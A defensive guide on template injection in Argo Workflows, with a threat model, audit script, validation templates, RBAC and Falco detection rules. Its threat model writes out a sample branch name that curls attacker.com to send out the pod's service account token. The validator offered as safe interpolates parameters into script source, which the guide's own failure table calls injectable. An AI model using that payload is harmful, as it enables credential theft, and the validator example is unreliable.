Argo Workflows Template Injection via User-Controlled Parameters
Problem
Argo Workflows uses a templating engine to define and execute workflows. Template expressions such as {{inputs.parameters.filename}} are evaluated at workflow execution time and can be used throughout workflow definitions: in command fields, args, env values, resource manifests, and script bodies. This flexibility enables dynamic workflows but creates a template injection attack surface when user-supplied parameters are placed into sensitive template positions without sanitisation.
The attack pattern: a workflow template is designed to accept user parameters and pass them into a container command. The template author intends the parameter to be a filename or identifier. An attacker submits a workflow with a parameter value containing Argo’s expression syntax — for example {{workflow.parameters.other_secret}} — or, more severely, a shell metacharacter sequence that achieves command injection when the parameter lands in a shell command field.
Why this is distinct from the controller DoS class of CVEs. Template injection requires only workflow submission access (CREATE on workflows.argoproj.io). Many organisations grant this to developer teams, CI pipelines, and automation accounts. A compromised CI account or a developer with malicious intent can inject into any workflow template that passes their parameter values into sensitive positions.
The Argo expression engine exposes cluster internals. Argo’s sprig and native expression functions include capabilities like {{=jsonpath(workflow.labels, '$.some-label')}} and can access workflow metadata, other parameter values, and in some configurations, Kubernetes resource data. Expression injection can leak information about other workflows, secret names, and cluster topology.
Script templates are the highest-risk target. Workflow templates using script: with a shell interpreter and parameter interpolation directly in the script body are equivalent to a server-side template injection vulnerability in a web application. Any user who can control the parameter value can execute arbitrary shell code in the workflow’s pod.
Target systems: any Kubernetes cluster running Argo Workflows where external users, developer accounts, or CI pipelines have workflow submission access; multi-tenant platforms using Argo Workflows for job execution.
Threat Model
Adversary 1 — CI pipeline account injection. A CI pipeline has CREATE workflow access in a namespace. The pipeline passes a user-controlled value (branch name, commit message fragment, user input) as a workflow parameter. The parameter lands in a command or script field. The attacker controls the repository and sets the branch name to main; curl http://attacker.com/exfil?secret=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token).
Adversary 2 — Developer submitting crafted workflow. A developer has direct workflow submission access in their namespace. They submit a workflow with a parameter value containing {{workflow.parameters.admin_password}} placed into a position where it gets echoed to logs, exfiltrating another workflow’s sensitive parameter.
Adversary 3 — Expression engine abuse for SSRF. Argo Workflows supports HTTP template steps. An attacker with workflow submission access injects a parameter that redirects an HTTP template step to an internal URL (the cloud metadata endpoint, an internal API), using the workflow executor’s network access for SSRF.
Configuration / Implementation
Step 1 — Identify vulnerable template patterns in existing workflows
#!/bin/bash
# scripts/audit-argo-template-injection.sh
# Scan Argo Workflow templates for injection-vulnerable patterns
NAMESPACE="${1:-}"
NS_FLAG=${NAMESPACE:+"-n $NAMESPACE"}
echo "=== Argo Workflows Template Injection Audit ==="
# Find WorkflowTemplates with user parameters in command/args/script fields
kubectl get workflowtemplates $NS_FLAG -A -o json 2>/dev/null | \
python3 - << 'PYEOF'
import json, sys, re
data = json.load(sys.stdin)
templates = data.get("items", [])
# Patterns that indicate user-controlled parameter in sensitive position
SENSITIVE_FIELDS = ["command", "args", "source", "script"]
PARAM_PATTERN = re.compile(r'\{\{inputs\.parameters\.\w+\}\}|\{\{workflow\.parameters\.\w+\}\}')
findings = []
for wft in templates:
name = f"{wft['metadata']['namespace']}/{wft['metadata']['name']}"
for template in wft.get("spec", {}).get("templates", []):
tname = template.get("name", "")
container = template.get("container", {}) or template.get("script", {})
# Check command and args
for field in ["command", "args"]:
values = container.get(field, [])
if isinstance(values, list):
for val in values:
if PARAM_PATTERN.search(str(val)):
findings.append(f"[HIGH] {name}/{tname}: parameter in {field}: {val}")
# Check script source
source = container.get("source", "")
if source and PARAM_PATTERN.search(source):
findings.append(f"[HIGH] {name}/{tname}: parameter interpolated in script source")
# Check environment variables (lower risk but still injectable)
for env in container.get("env", []):
val = str(env.get("value", ""))
if PARAM_PATTERN.search(val):
findings.append(f"[MEDIUM] {name}/{tname}: parameter in env var {env.get('name')}")
if findings:
print(f"Found {len(findings)} potentially injectable template positions:\n")
for f in findings:
print(f" {f}")
else:
print("No obvious injection patterns found")
PYEOF
echo ""
echo "=== Checking for overly permissive workflow submission RBAC ==="
kubectl get clusterrolebindings $NS_FLAG -o json 2>/dev/null | \
jq -r '.items[] | select(.roleRef.name | test("argo|workflow")) |
"\(.metadata.name): \([.subjects[]? | "\(.kind)/\(.name)"] | join(", "))"'
Step 2 — Validate parameters before template interpolation
For workflow templates that must accept user parameters, add a validation step as the first template in the DAG:
# workflow-template-with-validation.yaml
apiVersion: argoproj.io/v1alpha1
kind: WorkflowTemplate
metadata:
name: safe-data-processing
namespace: workflows
spec:
entrypoint: main
arguments:
parameters:
- name: input-filename
- name: target-environment
templates:
- name: main
dag:
tasks:
# Validate parameters BEFORE passing them to any sensitive template
- name: validate-inputs
template: parameter-validator
arguments:
parameters:
- name: filename
value: "{{workflow.parameters.input-filename}}"
- name: environment
value: "{{workflow.parameters.target-environment}}"
# Only proceed if validation passes
- name: process-data
dependencies: [validate-inputs]
template: data-processor
arguments:
parameters:
- name: filename
value: "{{workflow.parameters.input-filename}}"
- name: environment
value: "{{workflow.parameters.target-environment}}"
- name: parameter-validator
inputs:
parameters:
- name: filename
- name: environment
script:
image: alpine:3.19
command: [sh]
source: |
#!/bin/sh
set -euo pipefail
FILENAME="{{inputs.parameters.filename}}"
ENVIRONMENT="{{inputs.parameters.environment}}"
# Validate filename: only allow alphanumeric, dash, underscore, dot
if ! echo "$FILENAME" | grep -qE '^[a-zA-Z0-9._-]+$'; then
echo "INVALID: filename contains disallowed characters: $FILENAME"
exit 1
fi
# Validate environment: only allow known values
case "$ENVIRONMENT" in
staging|production|dev)
echo "Valid environment: $ENVIRONMENT"
;;
*)
echo "INVALID: unknown environment: $ENVIRONMENT"
exit 1
;;
esac
echo "Parameters validated successfully"
- name: data-processor
inputs:
parameters:
- name: filename
- name: environment
container:
image: myapp/processor:1.0
# Safe: filename is validated before reaching this step
command: ["/app/process"]
args: ["--file", "{{inputs.parameters.filename}}", "--env", "{{inputs.parameters.environment}}"]
Step 3 — Use parameter enums to restrict allowed values
For parameters with a known set of valid values, use Argo’s enum constraint:
apiVersion: argoproj.io/v1alpha1
kind: WorkflowTemplate
metadata:
name: restricted-pipeline
spec:
arguments:
parameters:
- name: environment
enum:
- staging
- production
- dev
# Argo will reject workflow submissions with values not in this list
- name: region
enum:
- us-east-1
- eu-west-1
- ap-southeast-1
# For free-form parameters, do NOT place directly in command/args
# Instead, pass to a validation step first
- name: job-name
# No enum — validated by the validation step
templates:
- name: deploy
inputs:
parameters:
- name: environment
- name: region
container:
image: myapp/deployer:1.0
# Safe: enum-constrained parameter; cannot contain injection
command: ["/app/deploy", "--env", "{{inputs.parameters.environment}}", "--region", "{{inputs.parameters.region}}"]
Step 4 — Restrict workflow submission RBAC
# Least-privilege RBAC for workflow submission
# Grant CREATE on workflows but restrict parameter scope
apiVersion: rbac.authorization.k8s.io/v1
kind: Role
metadata:
name: workflow-submitter-restricted
namespace: workflows
rules:
# Can submit workflows
- apiGroups: ["argoproj.io"]
resources: ["workflows"]
verbs: ["create", "get", "list", "watch"]
# Can NOT create WorkflowTemplates (prevents template modification)
# Can NOT access secrets
# Can NOT access other namespaces
---
# For CI pipelines: use a dedicated ServiceAccount per pipeline
apiVersion: v1
kind: ServiceAccount
metadata:
name: ci-pipeline-workflows
namespace: workflows
annotations:
# Document what this account is allowed to submit
security/allowed-templates: "data-processing,test-runner"
security/review-date: "2026-05-27"
---
# Bind the restrictive role
apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata:
name: ci-pipeline-workflow-submitter
namespace: workflows
subjects:
- kind: ServiceAccount
name: ci-pipeline-workflows
namespace: workflows
roleRef:
kind: Role
name: workflow-submitter-restricted
apiGroup: rbac.authorization.k8s.io
Step 5 — Disable expression evaluation in untrusted contexts
For Argo Workflows 3.4+, you can restrict which expression features are available:
# argo-workflows-controller-configmap.yaml
apiVersion: v1
kind: ConfigMap
metadata:
name: workflow-controller-configmap
namespace: argo
data:
# Disable template tag substitution for parameters — prevents expression injection
# via parameter values that contain {{ }} syntax
templateTagHashPrefix: "true" # Requires explicit {{ }} to be escaped
# Limit expression evaluation scope
# Prevent access to workflow-level secrets from template expressions
executor: |
envFrom:
- secretRef:
name: workflow-executor-secrets
optional: true
# Require workflow ServiceAccount to be explicitly specified
# Prevents workflows from inheriting overly permissive default SA
workflowDefaults: |
spec:
serviceAccountName: restricted-workflow-sa
automountServiceAccountToken: false
Step 6 — Monitor for injection attempts
# Falco rule for Argo Workflows template injection indicators
- rule: Argo Workflow Unexpected Network Connection
desc: A workflow pod making network connections to unexpected destinations
condition: >
outbound and
k8s.pod.label.workflows.argoproj.io/workflow != "" and
not fd.rip in (known_workflow_destinations) and
not fd.sport in (80, 443)
output: >
Argo workflow pod unexpected outbound connection
(pod=%k8s.pod.name workflow=%k8s.pod.label.workflows.argoproj.io/workflow
destination=%fd.name)
priority: HIGH
tags: [argo, injection, lateral-movement]
- rule: Argo Workflow Reads Service Account Token
desc: Workflow pod reading the Kubernetes service account token
condition: >
open_read and
k8s.pod.label.workflows.argoproj.io/workflow != "" and
fd.name startswith "/var/run/secrets/kubernetes.io/serviceaccount"
output: >
Argo workflow pod reading service account token
(pod=%k8s.pod.name workflow=%k8s.pod.label.workflows.argoproj.io/workflow)
priority: WARNING
tags: [argo, credential-access]
Expected Behaviour
| Scenario | Without controls | With controls |
|---|---|---|
| Parameter value containing shell metacharacters | Executed in script template | Validation step rejects invalid characters; workflow fails cleanly |
Parameter value containing {{expression}} |
Evaluated by Argo expression engine | Enum constraint rejects unlisted values; or validation step blocks |
| CI account submits workflow with injected branch name | Attacker-controlled command executes in pod | Validation step sanitises branch name before it reaches command field |
| Workflow submission RBAC is overly broad | Any authenticated user can submit any workflow | Restricted Role; namespace isolation; ServiceAccount per pipeline |
| Workflow pod makes unexpected outbound connection | Post-injection exfiltration succeeds undetected | Falco alert fires; incident response begins |
Trade-offs
| Aspect | Benefit | Cost | Mitigation |
|---|---|---|---|
| Parameter enum constraints | Prevents injection for known-value parameters | Inflexible for free-form parameters | Use enums where possible; validation step for free-form |
| Validation step in DAG | Flexible; can implement complex rules | Extra workflow step adds latency; validation pod must start | Use fast validation image (alpine-based); keep validation logic simple |
automountServiceAccountToken: false |
Limits post-injection credential access | Workflows that legitimately need cluster API access must explicitly mount token | Use projected volumes to mount token only when needed |
| Restrict WorkflowTemplate CREATE | Prevents template modification attacks | Developers cannot create new templates directly | Gate template creation through GitOps; developers submit PRs |
Failure Modes
| Failure | Symptom | Detection | Recovery |
|---|---|---|---|
| Validation step logic error permits injection | Attacker bypasses validation with edge case | Post-injection forensics shows validation passed | Harden validation regex; use allowlist not blocklist |
| Enum constraint not available in older Argo version | Parameter not rejected; injection proceeds | Argo version check; test parameter rejection in staging | Update to Argo Workflows 3.1+ which introduced enum support |
| Validation step itself is injectable | Attacker injects into the validation template | Code review of validation template; audit logs | Do NOT interpolate parameters directly into validation script source; pass as env vars |
| Falco not deployed; injection succeeds silently | No detection of post-injection activity | Post-incident review finds no runtime alerts | Deploy Falco before deploying Argo Workflows in production |
Related Articles
- Argo Workflows Controller DoS — the controller-level CVE class; template injection is a separate user-space attack
- Argo CD Security Hardening — GitOps delivery pipeline hardening adjacent to workflow security
- Kubernetes RBAC Design Patterns — RBAC patterns for limiting workflow submission blast radius
- Falco Runtime Security — runtime detection for post-injection activity in workflow pods
- Kubernetes Secrets Management — protecting secrets from workflows that have injected access to the service account token